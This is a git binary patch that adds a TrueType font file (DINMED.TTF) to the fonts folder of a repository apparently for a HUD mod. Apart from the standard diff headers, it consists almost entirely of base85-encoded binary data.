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 Yt>|>ddxEWB5DT|OBqaeK#^KEW2gm-Q1poj5 literal 0 HcmV?d00001 diff --git a/Repos/HeXs_DepthHUD-master/resource/fonts/DINMED.TTF b/Repos/HeXs_DepthHUD-master/resource/fonts/DINMED.TTF new file mode 100644 index 0000000000000000000000000000000000000000..8cff3e98a4fdecff04d25aaa84077cca5f118e4d GIT binary patch literal 28944 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 